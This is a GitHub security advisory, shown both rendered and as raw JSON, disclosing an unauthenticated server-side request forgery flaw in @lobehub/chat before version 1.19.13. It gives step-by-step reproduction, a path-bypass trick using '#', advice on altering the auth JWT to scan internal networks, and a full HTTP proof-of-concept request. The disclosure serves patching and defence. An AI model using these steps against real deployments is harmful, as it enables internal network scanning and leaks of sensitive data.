ghsa-2xcc-vm3f-m8rw
Vulnerability from github
Published
2024-11-26 15:39
Modified
2024-11-26 21:43
Severity ?
8.1 (High) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L
7.0 (High) - CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L
Summary
@lobehub/chat Server Side Request Forgery vulnerability
Details

Summary

lobe-chat before 1.19.13 has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.

Details

  • visit https://chat-preview.lobehub.com/
  • click settings -> llm -> openai
  • fill the OpenAI API Key you like
  • fill the proxy address that you want to attack (e.g. a domain that resolved to a local ip addr like 127.0.0.1.xip.io) (the address will concat the path "/chat/completions" which can be bypassed with sharp like "http://172.23.0.1:8000/#")
  • then lobe will echo the ssrf result

The jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, you can modify it to scan internal network in your target lobe-web.

image

image

image

PoC

```http POST /api/chat/openai HTTP/2 Host: chat-preview.lobehub.com Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346244.0.0.0 Content-Length: 158 Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123" X-Lobe-Chat-Auth: eyJhbGciOiJIUzI1NiJ9.eyJhY2Nlc3NDb2RlIjoiIiwiYXBpS2V5IjoiMSIsImVuZHBvaW50IjoiaHR0cDovLzEyNy4wLjAuMS54aXAuaW86MzIxMCIsImlhdCI6MTcxMTM0NjI1MCwiZXhwIjoxNzExMzQ2MzUwfQ.ZZ3v3q9T8E6llOVGOA3ep5OSVoFEawswEfKtufCcwL4 Content-Type: application/json X-Lobe-Trace: eyJlbmFibGVkIjpmYWxzZX0= Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Accept: / Origin: https://chat-preview.lobehub.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://chat-preview.lobehub.com/settings/llm Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7 Connection: close

{"model":"gpt-3.5-turbo","stream":true,"frequency_penalty":0,"presence_penalty":0,"temperature":0.6,"top_p":1,"messages":[{"content":"hello","role":"user"}]} ```

Impact

SSRF, All users will be impacted.

Show details on source website

To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@lobehub/chat"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.19.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-32965"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-26T15:39:38Z",
    "nvd_published_at": "2024-11-26T19:15:23Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nlobe-chat before 1.19.13 has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.\n\n### Details\n* visit https://chat-preview.lobehub.com/\n* click settings -\u003e llm -\u003e openai\n* fill the OpenAI API Key you like\n* fill the proxy address that you want to attack (e.g. a domain that resolved to a local ip addr like 127.0.0.1.xip.io) (the address will concat the path \"/chat/completions\" which can be bypassed with sharp like \"http://172.23.0.1:8000/#\")\n* then lobe will echo the ssrf result\n\nThe jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, you can modify it to scan internal network in your target lobe-web.\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/d55e21e0-59d8-4a8e-8c56-4bcda3302dc2)\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/86833362-4e9e-4d07-9542-420db541f7a4)\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/d8891a1b-5b6f-434d-8125-8da46055a935)\n\n\n\n### PoC\n```http\nPOST /api/chat/openai HTTP/2\nHost: chat-preview.lobehub.com\nCookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346244.0.0.0\nContent-Length: 158\nSec-Ch-Ua: \"Google Chrome\";v=\"123\", \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"123\"\nX-Lobe-Chat-Auth: eyJhbGciOiJIUzI1NiJ9.eyJhY2Nlc3NDb2RlIjoiIiwiYXBpS2V5IjoiMSIsImVuZHBvaW50IjoiaHR0cDovLzEyNy4wLjAuMS54aXAuaW86MzIxMCIsImlhdCI6MTcxMTM0NjI1MCwiZXhwIjoxNzExMzQ2MzUwfQ.ZZ3v3q9T8E6llOVGOA3ep5OSVoFEawswEfKtufCcwL4\nContent-Type: application/json\nX-Lobe-Trace: eyJlbmFibGVkIjpmYWxzZX0=\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36\nSec-Ch-Ua-Platform: \"Windows\"\nAccept: */*\nOrigin: https://chat-preview.lobehub.com\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://chat-preview.lobehub.com/settings/llm\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7\nConnection: close\n\n{\"model\":\"gpt-3.5-turbo\",\"stream\":true,\"frequency_penalty\":0,\"presence_penalty\":0,\"temperature\":0.6,\"top_p\":1,\"messages\":[{\"content\":\"hello\",\"role\":\"user\"}]}\n```\n\n### Impact\nSSRF, All users will be impacted.",
  "id": "GHSA-2xcc-vm3f-m8rw",
  "modified": "2024-11-26T21:43:24Z",
  "published": "2024-11-26T15:39:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-2xcc-vm3f-m8rw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32965"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lobehub/lobe-chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lobehub/lobe-chat"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@lobehub/chat Server Side Request Forgery vulnerability"
}


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